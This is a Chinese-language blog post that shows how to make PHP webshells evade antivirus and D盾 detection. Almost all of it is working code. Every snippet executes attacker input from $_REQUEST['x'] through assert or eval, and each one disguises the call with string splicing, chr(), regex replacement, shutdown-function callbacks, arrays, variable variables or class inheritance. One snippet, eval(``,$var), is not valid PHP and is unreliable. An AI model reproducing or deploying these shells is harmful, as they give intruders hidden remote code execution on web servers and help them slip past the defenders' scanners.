本文介绍的是基于php7.2下面的免杀技巧,大于php7.2笔者也还没开始研究,如果看官想看php7.2免杀的那么在这里说一声抱歉了,我也还没想好。
php5里面有一个非常好的函数对于我们来说,因为他能够进行拆分使用,不像eval一样是一个整体不能分开,言归正传,那么我们应该怎么在php5中对webshell进行免杀呢,直接免杀代码,当然这里文章的思路取自于各篇大佬的文章然后写出来,如果看不明白可以直接跳到文章末尾的参考链接。
<?php
$a = substr_replace("holden-huangser","asser",-3); //holden-huangasser
$aa = array('',$a); //Array,本来结果为holden-huangasser,但是由于array($a)的原因,他这里就会变成Array,至于为什么要写成array('',$a),我个人理解可能是为了让他确定为array数组类型。
$b = $aa[1].chr('116'); //holden-huangassert 其中这里$aa[1]返回内容是holden-huangasser,而chr('116')的结果是t合起来就是holden-huangassert,好了,这里是不是很熟悉呢,已经组合出来assert了,到这里大家思路都已经确定了吧,那就是通过正则匹配替换为空。
$fun=preg_replace("/holden-huang/","",$b); //assert,这个位置就是将holden-huang匹配出来去掉获取assert关键字
$cc = substr_replace("",$fun,0); //assert,这个定义是为了防止匹配到上面,降低被杀概率
$cc($_REQUEST['x']);
?>
上面这种是主要是通过字符串截取与替换进行免杀,放到D盾中,风险为1,那不行,还是有被看出来的风险,继续往下看
我从网上大佬处也获得了一串代码:
<?php
function holden($a, $b) {
rce()($a, $b);
}
function rce() {
return "register_shut"."down_function"; //这个回调函数错误之后的回调,我的理解是这样的,因为错误导致回调你定义的东西最后执行,如有不对请大佬们指正。
}
$c = $_REQUEST['x'];
holden(assert, $c); //assert单独不会拦截,所以这可以直接写
?>
也可以塞到数组,毕竟学习php必须掌握的是数组,上代码:
<?php
$b = substr_replace("assexx","rt",4); //替换为assert,独立杀软不检测
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_REQUEST['x']))))); //套娃
?>
上面的代码可以简化为,因为代码可以在数组内执行
<?php
$b = substr_replace("assexx","rt",4);
$a = array('a' => $b($_REQUEST['x']));
?>
同时也可以使用变量覆盖技术,将接受变量的参数先混淆,然后通过fuzz技术,发现eval加上反引号`` 不会被杀掉·也就是eval(``,变量),下面上代码
<?php
$holden='xiaobai';
$$holden=$_REQUEST['x'];
eval(``,$xiaobai);
?>
类绕过,如果assert不行用上面的方法绕过。
<?php
class myclass2 {
function method() {
return $_REQUEST['x'];
}
}
class myclass extends myclass2
{
public $var=null;
function __construct()
{
$var=parent::method();
assert($var);
}
}
$xa=new myclass;
$xb=new myclass2;
?>
浙公网安备 33010602011771号